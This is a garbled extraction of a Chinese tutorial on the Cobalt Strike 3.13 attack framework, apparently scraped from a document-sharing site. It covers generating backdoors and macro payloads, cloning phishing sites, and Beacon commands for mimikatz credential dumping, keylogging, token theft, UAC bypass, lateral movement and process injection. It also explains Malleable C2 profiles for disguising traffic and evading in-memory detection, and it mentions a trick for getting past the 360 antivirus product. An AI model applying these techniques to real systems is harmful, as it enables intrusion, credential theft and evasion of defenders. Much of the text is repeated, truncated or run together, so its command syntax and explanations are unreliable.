课件综合详解_第1页
课件综合详解_第2页
课件综合详解_第3页
课件综合详解_第4页
课件综合详解_第5页
已阅读5页,还剩87页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

目前目CobaltStrike Strike基本使 Strike模块介 Strike脚本使CobaltStrikeMalleableExternalCS默认端口-证书-杂项CSBeacon和监听器目前目CobaltStrike Strike基本使 Strike模块介 Strike脚本使CobaltStrikeMalleableExternalCS默认端口-证书-杂项CSBeacon和监听器CS会话联动(外部监听器使用 Strike脚本编 Strike更新记1前国内关于CobaltStrike的教程前国内关于CobaltStrike的教程比较少我就随便写写如果有错误的地方还请指出我好以下文档全部以Strike3.13汉化版为例关于3.13汉化修改https://wbglil.github.io/2019/03/03/cobaltstrike-3-反馈:V0JHbFlsQGdtYWlsLmNvMTc1NzgxMjc2目CobaltStrike简目CobaltStrike简CobaltStrike基本使用CobaltStrike模块介绍CobaltStrike脚本使CobaltStrike扩3CobaltStrike简CobaltStrike是一款内网渗透测试神器,常被业界人称为CS。CobaltStrike简CobaltStrike是一款内网渗透测试神器,常被业界人称为CS。CobaltStrike2.0版本主要是结合Metasploit可以称为图形化MSF工具。而CobaltStrike3.0已经不再使用Metasploit框架而作为一个独立的平台使用,它分为客户端与服务端,服务端是一个,客户端可以有多个,可被团队进行分布式协团操作。客户端模式和服务端模式可以在Windows以及Linux上运行这里要注意服务端模式在Windows下运行时有可能会出现一些细小的问题不过影响不大。可以很好的解决metasploit对Windows Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,widll木马生成,java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等 Strike官网4 Strike基本使 Strike基本信 Strike菜单栏介绍Cobalt Strike基本使 Strike基本信 Strike菜单栏介绍Cobalt视图攻击报告帮 Strike工具栏介绍 Strike工作区介绍截 Strike基本功 Strike会话基本操作vnc远程桌等等cs3.13全部功5 Strike基本使 Strike基本使6CobaltStrike目录以下目录结构我以CobaltStrike目录以下目录结构我以3.13汉化修改版为例删除了一些没用的文件添加了一些脚本启动服务cobaltstrike.jar既是服务端程序也是客户端程序,一般情况Linux用teamserver启动服务端,Windows一般用teamserver.bat启动服务端Windows和Linux通用这个命令,如果提示没有证书就按照提示创建证书,权限不7teamserverhost│agscript[拓展应用的脚本│c2lint[检查c2配置文件的语法和预览|peclone用来解析│cobaltstrike.exe【Windows客户端程序(用来启动cobaltstrike.jar)注:我删了转而使用cobaltstrike.bat代替|cobaltstrike.bat【Windows客户端程序│cobaltstrike.jar【主体程序|cobaltStrikeCN.jar【汉化程序││license.pdf【删了│readme.txt【删了│releasenotes.txt【删了│teamserver【Linux服务端启动程序(linuxshell脚本)|teamserver.bat【Windows服务端启动程序(windowsbat批处理)│update【删了│update.jar【删了|─third-party第三方工具【vnc远程功能dll(如果没有就不能使用当初我就放错了导致无法使用还好有人提醒我及时更换了) winvnc.x64.dll【vnc服务端dllx64位 winvnc.x86.dll【vnc服务端dllx86位|—Scripts一些脚本文启动客户在Linux下和Windows下相同可以使用命令行也可以直接运行启动客户在Linux下和Windows下相同可以使用命令行也可以直接运行输入主机ip,连接端口(默认50050),以及你想使用的用户名和服务端密码就可以连首次连接的服务器会显示服务端的SSL证书的SHA256哈希值请确认它是否和你服务端SSL证书的SHA256哈希值一样以防止中间人攻8java-Dfile.encoding=UTF-8-javaagent:CobaltStrikeCN.jar-XX:ParallelGCThreads=4-XX:+AggressiveHeap-XX:+UseParallelGC-jarcob菜单Cobalt视图攻击报告帮Cobalt新建连接——连接到新的服务端设置——主要是设置cs菜单Cobalt视图攻击报告帮Cobalt新建连接——连接到新的服务端设置——主要是设置cs的界面以及保存的连接记录等等可视化——对应着这三按钮4.VPN接口——主要是管理VPN的,作为跳板95.监听器——这个很重要是用来监听回连的3.13包括以下这些一共9种1.windows/beacon_dns/rev5.监听器——这个很重要是用来监听回连的3.13包括以下这些一共9种1.windows/beacon_dns/reverse_dns_txtbeacon为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给csforeign主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter或者armitage的shell回来,来继续后面的内网渗透,这时就选择使用脚本管理器——用来管理加载脚本关闭——退出CS视应用信息——信息收集模块搜集的信息可以在这里查看凭据信息——获取到的凭据信息都可以在这里查看Add添加凭Edit编辑凭Copy复制凭 将凭据导出到Edit编辑凭Copy复制凭 将凭据导出到 3.文件下选择指定文件或Ctrl+A全选,然后点击Files可以将其保存在指定文件夹。认情况下载的文件是直接保存在cs的downloads目录下的而且文件名是随机的非常4.日日志就是日志没什么好说的5.键盘记就是用来查看保存的键盘记录的6.代理信 在MSF 在MSF中执行setg7.屏幕截 8.Script脚本控制台这个会在Cobalt9.目Strike模块介绍里详细介绍的这里可以显示内网中的主机包括以攻破和未攻破的也可以通过切换到目标列表视图 添加目标(如果未显示一这里可以显示内网中的主机包括以攻破和未攻破的也可以通过切换到目标列表视图 添加目标(如果未显示一些目标你可以手动进行添加 右键目标登可以使用多种方式远程连接目标然后执行Payload生成会话扫服用于显示对目标扫描的结果攻1.生成后门,生成各种后门来连接cs这里要说一下生成hta程序时不要使用Executable否则运行会报错具体什么问题我也没有研究过反正其他的可以使用如Powershell类型VBA类型HTMLApplication生成恶意的HTA木马用于显示对目标扫描的结果攻1.生成后门,生成各种后门来连接cs这里要说一下生成hta程序时不要使用Executable否则运行会报错具体什么问题我也没有研究过反正其他的可以使用如Powershell类型VBA类型HTMLApplication生成恶意的HTA木马文件MSOfficeMacro生成office宏病毒文件PayloadGenerator生成各种语言版本的payloadUSB/CDAutoPlay生成利用自动播放运行的木马文WindowsDropper捆绑器,能够对其他文件进行捆WindowsExecutable生成可执行exe木Executa 生成无状态的可执行exe木2.钓鱼攻击,这里主要是辅助和横向模块web服务管理对开启的web服务进行管理克隆网站可以记录受害者提交的数据提供一个文件下载,可以修改Mime信息脚本web传递生成脚本通过web传递(利用powershell,bitsadmin,regsvr32成会话签名Applet攻使用java自签名的程序进行钓鱼攻智能攻 自动检测java版本并进行攻击,针对Jav1.6.0_45以下以及Jav1.7.0_21以下版本用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等_21以下版本用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等3.钓鱼邮件,用来邮件钓鱼的一般不常用报帮工具改变视图为Graph(可以显示各个目标的关系改变视图为SessionTable(会话列表)改变视图为TargetTable(目标列表)查看文件下载查看键盘记录生成无状态Beacon后门生成脚本通过web传递(利用powershell,bitsadmin,regsvr32生成会话在Strike的web服务上托管一个文件(提供一个文件下载管理Cobal帮关Strike上运行的web管理Cobal帮关Strike上运行的web服务工作区这里主要是显示各种模块功能的窗口,右键那个叉可独立显示或保存这个窗口的截图(默认在服务器的logsxxxxxscreenshots你使用的用户名)右键工作区基本功能使创建监基本功能使创建监听 Strike—>监听器—>创建后攻击—>生成后门—>选择类型这里我还是改用公网v这里我还是改用公网vps当服务器吧更真实一些 代表外网ip(既是连接cs服务端的internal代表内网ipuser代表用户computer代表计算机名note代表备注pid代表此后门的 代表休眠时间这个和sleep有关每当到达sleep设置的秒数时就会重置为0默sleep为会话功能介右键会话可以进行各种操作1.进入可以执行各种命令这个在CobaltStrike模块介绍中详细说明的1.进入可以执行各种命令这个在CobaltStrike模块介绍中详细说明的转储需要管理员权限和MSF的hashdump命令一样默需要管理员权限和MSF的hashdump命令一样默认就这3个不过我在汉化修改版里附带有好几个提权的脚ms14-058是个老提权漏洞利用方式,可利用于Wi7系统uac-dll是一种ByUAC攻击,是由本地管理员运行payload从中等权限往最高权限提升的过程,适用于wind7和uac-token-duplication是利用令牌窃取绕过uac从中等权限往最高权限提升,此攻击使用UAC漏洞,该漏洞允许非提升的进程使用从提升的进程中窃取的令牌来启动意进程,是另一种BypasUAC这里我选择ms14-058进行演Exp后点击开始,当利用成功后会返回一个新的高权限会话这里Exp后点击开始,当利用成功后会返回一个新的高权限会话这里我不做演示因为我懒得搭域环境,黄金票据Ticket):简单来说,它能黑客在拥有普通域用户权限和krbtgthash的情况下,获取域管理员权限。这是域渗详细请看这里:/sec这里可以查看你所获取的所有凭据并且可以把它制作成令牌当然你也可以使用其他系统上的凭据制作成令牌让Beacon冒充这个新令牌,这将获得一个新令牌与之前的令牌在本地无法区分,当使用Beacon的getuid命令查询令牌的身份时,将返回当用户。当使用whoami时也将返回当前用户。那这东西有什么用呢?只有当访问Windows远程网络资源时才会使用m用户。当使用whoami时也将返回当前用户。那这东西有什么用呢?只有当访问Windows远程网络资源时才会使用make_token提供的令牌如Windows共享等等Run运行Mimikatz的logonpasswords命令Spawn选择浏览器进程进行注入,然会开启HTTP代理,之后在本机浏览器使用代理就可以直接登录受害者登录的网站了远程通过注入dll选择浏览器进程进行注入,然会开启HTTP代理,之后在本机浏览器使用代理就可以直接登录受害者登录的网站了远程通过注入dll到目标进程开启远程vnc功能可以直接操作或查看目标桌面从左到右依次介绍按钮功能原始比例查发送'Ctrl-Alt-发送winUpload上传本机文件到目标Upload上传本机文件到目标机MakeDirectory新建文件ListDrives列出目标盘 Net就是执行Windows的netview查看进程列表以及操作进程Kill结束进Refresh刷 注入Payload到一个进程 Keystroke查看进程列表以及操作进程Kill结束进Refresh刷 注入Payload到一个进程 Keystroke 屏幕截 这个按钮废了以后解StealToken窃取进程SOCKSSOCKS这里选择中转器的监这里选择中转器的监听器生成木马。需要注意的是作为中转器的PC要确认防火墙情况因它会监听一个本地端口并等待连接,如果开启了防火墙会产生一个Windows安最好提前用cmd添加一个防火墙放行规则或关闭防火墙,然后将无状态的木马上传到内网的其他机器运行后就会返回一个会话Deploy选择对应的最好提前用cmd添加一个防火墙放行规则或关闭防火墙,然后将无状态的木马上传到内网的其他机器运行后就会返回一个会话Deploy选择对应的内网ip然后选择一个接口如果没有接口就添加一个在这里有多种方式的隧道,可以根据自己的需要选择,默认UDP是开销最小的一种方式。添加以后,点击Deploy则可部署成功。可以在VPN接口看到相关信息之后需要在VPS上配置此网接口然后就可以正常访问内网了在这里有多种方式的隧道,可以根据自己的需要选择,默认UDP是开销最小的一种方式。添加以后,点击Deploy则可部署成功。可以在VPN接口看到相关信息之后需要在VPS上配置此网接口然后就可以正常访问内网了注意:此功能在Windows10目标上不起作用。通过派生会话可以和msf或Armitage联动等等打开MSF或Armitage做好监听配置之后选择或添加一个外部Payload然后点Choose之后就会收到会话连备注给目标一个备注Remove删除目标Sleep设置睡眠时间(秒) 退出(木马直接结束运行sudoifconfigphearx Strike模块介这里主要介绍beacon和Scri Strike模块介这里主要介绍beacon和ScriConsole模块Beacon控制Beacon是异步有效负载。命令不会立即执行。每个命令都进入队列。当Beacon连接到你时,它将接收这些命令并逐个执行,然后Beacon报告返回结果,可以使用clear命令清除当前Beacon的命令队列默认情况下,Beacon每60秒连接检查一次,可以使用sleep命令更改此设置sleep以秒为单位指定Beacon检查的频率。如sle5(每5秒钟检查一次)。还可以指定0到99之间为第二个参数。此参数为随机数。Beacon会根据指定的随机百分比改变每个检查的时间。如,sleep30020将使Beacon以20%的随机数睡眠300秒。这将使Beacon在240到300秒之间随机检查一次。如果设置0这将使用交互模式。在交互模式下,命令将立即执行。Beaconargue进程参数欺argue[command][fakeargue命令假参数欺骗某个命令参数argueargue命令取消欺骗某个命令参help帮助命令显示全部命helpxxx显示某个命令的详细信 Strike模块介利用这个也可以绕过360添加用户比如argue Strike模块介利用这个也可以绕过360添加用户比如arguenet1/hello/hello/hello/hellorunnet1useradmin123451runasadmin以高权限运runasadminrunasadmin命令参数setenv用来设置环境变setenv[key]reg用来查询注册regqueryregqueryv[root\path]root可以使用HKLM,HKCR,HKCC,HKCU,execute-assembly在目标上执行本地.NET程execute-assembly[/path/to/file.exe]dllload使用LoadLibrary将DLL加载到指定的进程中。DLL必须在于目标dllload[pid]getprivs在当前令牌上启用尽可能多的系统权kerberos_ticket_purge清除当前shell的Kerberos票kerberos_ccache_use从ccache文件中导入Kerberos票kerberos_ccache_usekerberos_ticket_use从ticket文件中导入Kerberos票kerberos_ticket_usekill结束进killps查看进程列timestomp将一个文件的时间戳应用的另一个文timestomp[fileA] Strike模块介bypassuac绕过uac获取权bypassuacgetuid获取 Strike模块介bypassuac绕过uac获取权bypassuacgetuid获取用户rev2self恢复原始令steal_token从进程中窃取令steal_tokengetsystem获取system权link重新连接到SMBBeacon后门并建立对它的控制link[target]link目link[ip]连接到指定的Beaconlinkip地址connect重新连接到TCPBeacon后门并建立对它的控制connect[target]connect目unlink断开与当前的Beacon连接,等待另一个Beacon的连unlink默认断开与当前的Beacon连unlink[ip]断开与指定的Beacon连cd切换目clear清除Beacon任务列download下载文downloadshell执行cmd命shell[command]powershell执行powershell命powershell[commandlet] Strike模块介powershell-import导入powershell模powershell-importexecute执行程 Strike模块介powershell-import导入powershell模powershell-importexecute执行程execute[program]执行程序不返回输run执行程run[program]执行程序返回输inject向一个进程注入监听器shellcodeinject[pid]<x86|x64>[listener]shinject向一个进程注入shinject[pid]<x86|x64>shspawn创建一个进程并将shellcode注入其中shspawn<x86|x64>dllinject利用反射dll注入一个进dllinject[pid]keylogger将键盘注入器注入指定进keylogger[pid]<x86|x64>注入指定进程开启键盘记keylogger开启键盘记录(生成一个临时进程并将键盘记录注入其中message向用户显示消息cs作者说这是一个愚蠢的命令(笑)message[text]stop停止代理port在指定端口开启代注意:如果Beacon在睡眠时流量是不会被代理的请使用sleep进行改变,减少睡眠时间或更改为交互式sleep0sleep在最前面说了这里不说spawn生成x86或x64进程并将监听器shellcode注入注入其中派生会 Strike模块介spawn[x86|x64]spawnspawnto在指定的 Strike模块介spawn[x86|x64]spawnspawnto在指定的程序中执行Beacon的命spawnto[x86|x64]upload上传文件到目uploadrunas以其他用户身份执行程runas[DOMAIN\user][password][command]如果未指定DOMAIN,Beacon将尝试以本地用户身份进行身份验证。pwd查看在目标机上的路covertvpn前面介绍covertvpn[interface][ipbrowserpivot浏览器代理前面介绍browserpivot[pid]browserpivotdesktop远程桌面desktop[pid][x86|x64][high|low]desktop[high|low]将vnc注入到指定进程可以选择画面质量是高质量还是低质jobs列出在后台运行的各种后渗透任jobkill结束后渗透任jobkill[jobhashdump转储密码哈wdigest使用mimikatz转储明文凭mimikatz执行mimikatz命mimikatz[module::command]mimikatz[!module::command] Strike模块介mimikatz[@module::command]和普通使用mimikatz没什么区screenshot Strike模块介mimikatz[@module::command]和普通使用mimikatz没什么区screenshot屏幕截screenshot[pid]<x86|x64>[runscreenshot默认截图屏inmake_token制作令make_token[DOMAIN\user]前面同样介绍downloads查看正在进行的下载任cancel取消正在进行的下cancelrportfwd端口转rportfwd[bindport][forwardhost]rportfwdstop[bindport]停止指定端口转port]开启指定端口转elevate使用elevate[exploit]mkdir创建目mkdirls查看文rm删除文drives列出盘psexec_psh利用psexec和powershell生成会psexec_psh[host]wmi利用WMI和PowerShell生成会wmi[host]winrm利用WinRM和PowerShell生成会winrm[host] Strike模块介psexec利用psexec生成会psexec[host] Strike模块介psexec利用psexec生成会psexec[host][share][share]指定要将文件复制到哪个共享(例如,ADMIN$或spawnas以其他用户权限生成会spawnas[DOMAIN\user][password]portscan端口扫portscan[targets][ports][arp|icmp|none]portscan目标端口方式最大连接目标可以指定一个范围端口以逗号分logonpasswords使用mimikatz转储明文凭据和NTLM哈note备dcsync就是mimikatz的dcsync功dcsync[DOMAIN.fqdn]powerpick使用UnmanagedPowerShell执行命令powerpick[commandlet][args]psinject将非托管PowerShell注入特定进程并执行指定的命psinject[pid][x86|x64][commandlet] Strike模块介Script Strike模块介Script?执行sleep判断语句并输出结e执行sleep说明语help帮load加载一个脚ls列出加载的所有脚本proff关闭脚本分析器pron为开启脚本分析器profile脚本性能统计reload重新加载脚本troff关闭脚本跟踪功能tron开启脚本跟踪功能unload卸载脚本x执行sleep表达式并输出结sshssh远程连ssh[ip:port][user]ssh-key使用密钥远ssh[ip:port][user]cp复制文mv移动文ppid指定一个pid作为执行Beacon命令的父进程,runas命令不受这个影响ppidppid单独输入ppid重置为默spawnu在指定的pid中生成powershell子进程执行palyoadspawnu[pid][listener]runu指定一个pid为父进程在其中执行一条命runu[pid][command] Strike模块介 Strike模块介 Strike脚本使在Strike中有一个非常实用的功能,就是可以加载各 Strike脚本使在Strike中有一个非常实用的功能,就是可以加载各种脚本Load加载脚Unload卸载脚 说一些常用常见的脚本脚本名称:ProcessT脚本功能:让ps命令可以显示父子关系并显示颜 Strike脚本使脚本名称:CVE-2018-脚 Strike脚本使脚本名称:CVE-2018-脚本功能:CVE-2018-4878.c脚本功能:创建多种类型的payload。生成的文件在cs目录下的opt\c脚本功能:利用CertUtil和rundll32生成会话这个应该都知道了 Strike脚本使脚本名称: Strike脚本使脚本名称:RedTeamRa脚本功能:显示带有颜色的进程列表(不同颜色有不同含义 Strike脚本使脚本功能 Strike脚本使脚本功能:显示Beacon命令日志脚本名称:ProcessM脚本名称 Strike脚本使脚本功能:生成基于SM Strike脚本使脚本功能:生成基于SMB的payl脚本名称脚本功能:持久化控制集合备注:这个脚本是同目录脚本的一个集合脚本名称:Eternalblue.c脚本功能:ms17-010备注:调用exploit/windows/smb/ms17_010_eternalbl更多:https://mp.weixin.qq.com/s/CEI1XYkq2PZmYsP0DRU7jg个人认位这位老哥整理的已经很全面了,为了方便查看我将里面的一些集合脚本介 Strike脚本使 Strike脚本使 Strike脚本使https://github.com/vysec/Agg Strike脚本使https://github.com/vysec/Aggressor-https://github.com/killswitch-GUI/CobaltStrike-T Strike脚本使https://github.com/rasta- Strike脚本使https://github.com/rasta-mouse/Aggressor-Scrihttps://github.com/Und3rf10w/Aggressor- Strike脚本使https://github.com/gaudard/scripts/tree/master/red Strike脚本使https://github.com/gaudard/scripts/tree/master/red-/threatexpress/aggressor-scripts/threatexpress/persistence-aggressor- Strike脚本使脚本来源/secgroundzero/CS- Strike脚本使脚本来源/secgroundzero/CS-Aggressor-Scri Strike脚本使用 Strike脚本使用之前请自行检查脚本安全,需要注意:cs2.x的脚本和3.x的脚本互相不兼容日后如果有新的我也会继续更新的CobaltStrike扩Malleable有关CS的Malleable-C2-Profiles配置,介绍,编写CobaltStrike扩Malleable有关CS的Malleable-C2-Profiles配置,介绍,编写等External有关CS的外部C2通信CS详细讲一下各种Beacon和监听器Malleable简 StrikeMalleable-C2-Profiles配置文件是用来伪装流量,让通讯更加隐蔽Malleable简 StrikeMalleable-C2-Profiles配置文件是用来伪装流量,让通讯更加隐蔽Beacon中使用http通信的payload由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。在启动服务器时我们可以指定一个配置文件,每个CS只能载入一个配置文件,多个文加载Malleable-C2-Profiles命令检查预览Profiles文件is的c其实之前如果有人用过那个ids服务端启动程序会发现有输出一些乱码这是因为那些乱码是lix下用来设置颜色的在这里检查Prils文件的shll脚本我同样放有一个Windows版的但是如果你是使用cm运行,效果一定不好因为颜色代码会变成类似这种的东西,所以我提供了几个方法使用linux不用Windows运行服务端(这不是废话吗使用GitBash运行c2lint这个Linuxshell脚本(不推荐因为GitBash颜值你也知使用Terminus终端运行c2lint.bat(推荐因为漂亮)5.使用其他终cmder运行./c2lint./teamserver[externalIP][password]Terminus运行东西我不多说这里直接放Terminus运行东西我不多说这里直接放M和使用MC2脚本通信的数据包git库。我就不演示用Wrueshark查看CS默认http通信/rsmudge/Malleable-C2-MalleableC2语法解Malleable这个部分吧我也不知道如何写是好,我的语文水平并不优秀没有办法把我知道和理解的完美写出来还请多多包涵,有错误的也请及时提出。接下来说说profile文件的语Malleable这个部分吧我也不知道如何写是好,我的语文水平并不优秀没有办法把我知道和理解的完美写出来还请多多包涵,有错误的也请及时提出。接下来说说profile文件的语法格式这里我以CS3.13默认profile文件file为#defaultsleeptimeis60ssetsleeptime"60000";#jitterfactor0-99%[randomizecallbacktimes]setjitter #maximumnumberofbytestosendinaDNSArecordrequestsetmaxdns #indicatethatthisisthedefaultBeaconprofilesetsample_name"CobaltStrikeBeacon(Default)";#defineindicatorsforanHTTPGEThttp-get{#Beaconwillrandomlychoosefromthispoolofseturi"/ca/dpixel/utm.gif/pixel.gif/g.pixel/updates.rss/fwlink/cm/cx/pixel/match/visit.js/load/push/ptj/j.ad/ga.js/en_US/all.js/activity/IE9CompatViewList.xclient#base64encodesessionmetadataandstoreitintheCookieheader.metadataheader}}server#servershouldsendoutputwithnochangesheader"Content-Type""application/octet-stream";output}}}}}}#defineindicatorsforanHTTPPOSThttp-post{#Sameasabove,BeaconwillrandomlychoosefromthispoolofURIs[ifmultipleURIsareprovided]seturiclientheader"Content-Type""application/octet-#transmitoursessionidentifierasidparameter}#postouroutputwithnorealchangesoutput{}}#Theserver'sresponsetoourHTTPPOSTserver{header"Content-Type"#thiswilljustprintanemptystring,meh...output{}}}MalleableMalleable数据转换总是以终止语句结束(决定数把数据存放在http协议的什么地方AppendRemovelastLEN("string")Base64Base64URL-safeBase64URL-safeBase64XORmaskw/randomXORmaskw/samerandomNetBIOSEncodeNetBIOSDecodeNetBIOSEncodeNetBIOSDecodePrependRemovefirstLEN("string")#用来注set用来设置一些参数的默认;为结上述文件中setsleeptime"60000";为设置心跳包时间(就是sleep默认时间60)setuseragent"xxx"设置user-agent等等还有许多这里不都说了对双引号转义其他特殊字符不需要转配置文件使用{}将语句和信息组合在一起。语句总是以分号结Malleableheader头终止语句将编码后的数据存储在HTTP头中。参数终止语句将编码后的据存储在HTTP参数中。此参数Malleableheader头终止语句将编码后的数据存储在HTTP头中。参数终止语句将编码后的据存储在HTTP参数中。此参数始终作为URI的一部分发送。print语句在http正文print语句是http-get.server.output,http-post.server.output和stager.server.output块的终止语句,其他块可以使用header,parameter,printuri-appen termination语句。如果在http-post.client.output上使用header、parameteruri-语句,beac可以在字符串中使用的特殊字符可以用set设置的选项其中范围代表可以那里设置为空则在任何地方都可以设置。如uri就只能在http-get和http-post中的花括号里设置范说(值含回tab表示一个unicode字符表示一个字节如(\x \header将数据存储在HTTP头中parameter将数据存储在URI参数中将数据存储在http主体中uri-附加到AMSIIPaddrusedtonotaskDNSBMaskfoDNSCTXTrefortask0ForceapriortoDNSTusedbyTXTre1TTLforAMSIIPaddrusedtonotaskDNSBMaskfoDNSCTXTrefortask0ForceapriortoDNSTusedbyTXTre1TTLforHostpaforstagorDNS0factorMalleablewhendata(0-Nameotousef##isrewithanteamsNametouseThenathispro(usedinMytimeopenaopenaTCPlisten[requiredMalleablewhendata(0-Nameotousef##isrewithanteamsNametouseThenathispro(usedinMytimeopenaopenaTCPlisten[requiredHTTPCS中各种http请求的设Beacon是一个分阶段的有效载荷。这意味着有效负载由stager下载并注入内存在目标内存中有Beacon有效载荷HTTPCS中各种http请求的设Beacon是一个分阶段的有效载荷。这意味着有效负载由stager下载并注入内存在目标内存中有Beacon有效载荷之前HTTP-GET和HTTP-POSTBeacon都不生效。这里插句话这个和MSF的stager一样你把MSF的stager搞懂了自然就明白http-Sessionhttp-Beacon'shttp-Sessionhttp-Beacon'shttp-http-Encodedpayload在http-x86paystage在http-x64paystageInternetAgentfHTTPusefor里面的参数上面都有自己看吧就解释一下client代表木马发出的请求里面的参数上面都有自己看吧就解释一下client代表木马发出的请求参数server代表http-config块对Strike提供的所有HTTP响应都有影响在这里你可以自己设置PEandMemory C2配置文件中的stage块控制Beacon如何加载到内存中并且可以编 DLL的内http-configsetheaders"Date,Server,Content-Length,Keep-Alive,Connection,Content-Type";header"Server"header"Keep-Alive""timeout=5,max=100";header"Connection""Keep-Alive";}http-stagerseturi_x86"/get32.gif";seturi_x64"/get64.gif";client{parameter"id""1234";header"Cookie""SomeValue";}serverheader"Content-Type""image/gif";output{prepend"GIF89a";}}}stage块接受字符串添加到BeacDLL的.rdata部分的命stage块接受字符串添加到BeacDLL的.rdata部分的命 命令添加 命令添加了一个宽(UTF-16LE 编码)Transform-x86和Transform-X64阻止PAD和Transform Beacon的反射DLL阶段。这些块支持三个命令:prepend、append和strrep.prepend命令在beacon的反射dll之前插入一个字符串append命令在beacon的反射dll后面添加一个字符串,确保预先准备好的数据(x86、x64)架构的有效代码,c2lint程序没有对此进行检查strrep命令替换beacon反射dll中的字符串stage块接受以下命令控制BeacDLL内容的选stagesetuserwxsetcompile_time"14Jul2009setimage_size_x86setimage_size_x64"512000";setobfuscate"true";transform-x86prependstrrep"ReflectiveLoader"}transform-x64#transformthex64rDLL}stringw"Iamnot}CloningPE0TheCheckSumvalueinBeacon'sPEAskBeacontoattempttofreememoryassociatedwiththeReflectiveDLLpackagethatinitializedit.14JulyThebuildtimeinBeacon'sPECloningPE0TheCheckSumvalueinBeacon'sPEAskBeacontoattempttofreememoryassociatedwiththeReflectiveDLLpackagethatinitializedit.14JulyThebuildtimeinBeacon'sPETheEntryPointvalueinBeacon'sPESizeOfImagevalueinx64Beacon'sPESizeOfImagevalueinx86Beacon'sPESameasmodule_x86;affectsx64Askthex86ReflectiveLoadertoloadthespecifiedlibraryandoverwriteitsspaceinsteadofallocatingmemorywithTheExportednameoftheBeaconObfuscatetheReflectiveDLL'simporttable,overwriteunusedheadercontent,andaskReflectiveLoadertocopyBeacontonewmemorywithoutitsDLLMeta-informationinsertedbytheObfuscateBeacon,in-memory,priortoAskReflectiveLoadertostompMZ,PE,ande_lfanewvaluesafteritloadsBeaconpayloadAskReflectiveLoadertouseoravoidRWXpermissionsforBeaconDLLinMalleableCobaltStrike的Linux软件包中有一个工具peclone,用于从MalleableCobaltStrike的Linux软件包中有一个工具peclone,用于从dll中提取头文件并将其显示为一个随时可用的阶段块(我同样改有一个Windows版的方便Windows用户)。这个同样会在扩展里讲这里不说./peclone使用stageblock的prepend命令来阻止分析,该分析扫描内存段的前几个字节以查找注入DLL的符号。如果使用特定于工具的字符串来检测代理,请使用strrep命令更改它们。如果strrep不够,请将sleep_mask设置为true。这导致Beacon在进入睡眠状态之前在内存中进行模糊处理。在休眠之后,Beacon会对自己进行去模糊处理以请求和处理任务。SMB和Beacon将在等待新连接或等待父会话中的数据时进行模糊处理。决定您希望在内存中看起来像一个DLL特征。那么您希望方便检测,请stomppe设置为false。如果您想在内存中轻微混淆DLL,请将stomppe设置为true。如果您想要应对挑战,请将obfuscate设置为true。此选项将采取许多步骤来混淆Beacon阶段和内存中DLL的最终状态将userwx设置为false以询问Beacon的加载器以避免以RWX权限执行。具有这些权限的内存段将引起安全分析师和安全产品的额外关注。默认情况下,Beacon的加载程序使用VirtualAlloc分配内存。模块踩踏是另一种选择。将module_x86设置为DLL,该DLL大约是Beacon有效负载本身的两倍。Beacon的x86加载器将加载指定的DLL,在内存中找到它的位置,并覆盖它。这是一种将Beacon置于Windows与磁盘上的文件关联的内存中的方法。您想要驻留的应用程序不需要您选择的DLL。重要的是module_x64选项是相同的,但它会影响x64Beacon。如果您担心在内存中初始化BeaconDLL的Beacon阶段,请将cleanup设置为true。当不再需要时,此选项将释放与 transform-x86和transform-x64阻止Beacon注入的PAD内容。这些块支持两个命令:prepend和appendprepend命令在插入的内容之前插入transform-x86和transform-x64阻止Beacon注入的PAD内容。这些块支持两个命令:prepend和appendprepend命令在插入的内容之前插入一个字符串。append命令在注入的内容之后添加一个字符串。确保预先准备好的数据是(x86、x64)的有效代码。c2lint程序没有对此进行检查。disable语句是避免beacon进程注入程序使用某些API。您可以禁用:sethreadcontext、createRemoteThread和rtlcreateUserThread。请注意,当您禁用这些API时,Beacon注入进程时可能会失败。c2lint命令会发出一些警告。process-inject块接受几个控制Beacon进程注入的选项注意MinimumamountofmemorytorequestforinjectedUseRWXasinitialpermissionsforinjectedcontent.AlternativeisRW.UseRWXasfinalpermissionsforinjectedcontent.AlternativeisRX.process-injectsetmin_alloc"16384";setstartrwx"true";setuserwx"false";transform-x86prepend}transform-x64#transformx64injected}disable}Malleable每个CobaltStrike实例一次Malleable每个CobaltStrike实例一次使用一个配置文件。如果您更改配置文件或加载新配置文件,则以前部署的Beacons后门无法与您通信。简单来说就是如果你更改了 C2文件则之前的后门会无法连接到CS只能重新生成后门并让目标运行MalleableC2profile编也不能算是编写这是我使用默认的profile语C2profile做一个改造让读者熟悉一#默认sleep时setsleeptime#sleep随机抖set #profile文件的名setsample_name"CobaltStrikeBeacon#user-setuseragent定义HTTPGET请求http-get{#定义请求url如果定义多个请用空格分割Beacon会随机选seturiclient{#header头部定header"Host""";#定义数据编码方式和存放位metadataheader"Cookie";Malleable}}server{#定义Malleable}}server{#定义header"Content-Type""application/octet-stream";header"Server""IIS7.5";output{}}}#定义HTTPPOST请求http-post{#定义请求url如果定义多个请用空格分割Beacon会随机选seturiclient{#header头部定header"Content-Type""application/octet-id{parameter}#定义数据编码方式和存放位output}}#定义CS服务端响serverheader"Content-Type"Malleable用c2lint.bat预览检查一下[+]ProfilecompiledOKGET/WBGlIlHTTP/1.1Host:Cookie:R2+spam1xgUcklFCYRJrFw==User-Agent:nullHTTP/1.1Malleable用c2lint.bat预览检查一下[+]ProfilecompiledOKGET/WBGlIlHTTP/1.1Host:Cookie:R2+spam1xgUcklFCYRJrFw==User-Agent:nullHTTP/1.1200Content-Type:application/octet-streamServer:IIS7.5Content-Length:http-POST/WBGlIl.php?id=53488Content-Type:application/octet-streamContent-Length:24User-Agent:HTTP/1.1200OKContent-Type:text/htmlContent-Length:0#定义服务端如何返回响output}}}MalleablePOST3xcheck.http-get.server.outputsizeis.http-get.clientsizeis.http-post.clientsize.http-[+].http-get.client.metadata00byte[s])[+].http-28[+].http-56MalleablePOST3xcheck.http-get.server.outputsizeis.http-get.clientsizeis.http-post.clientsize.http-[+].http-get.client.metadata00byte[s])[+].http-28[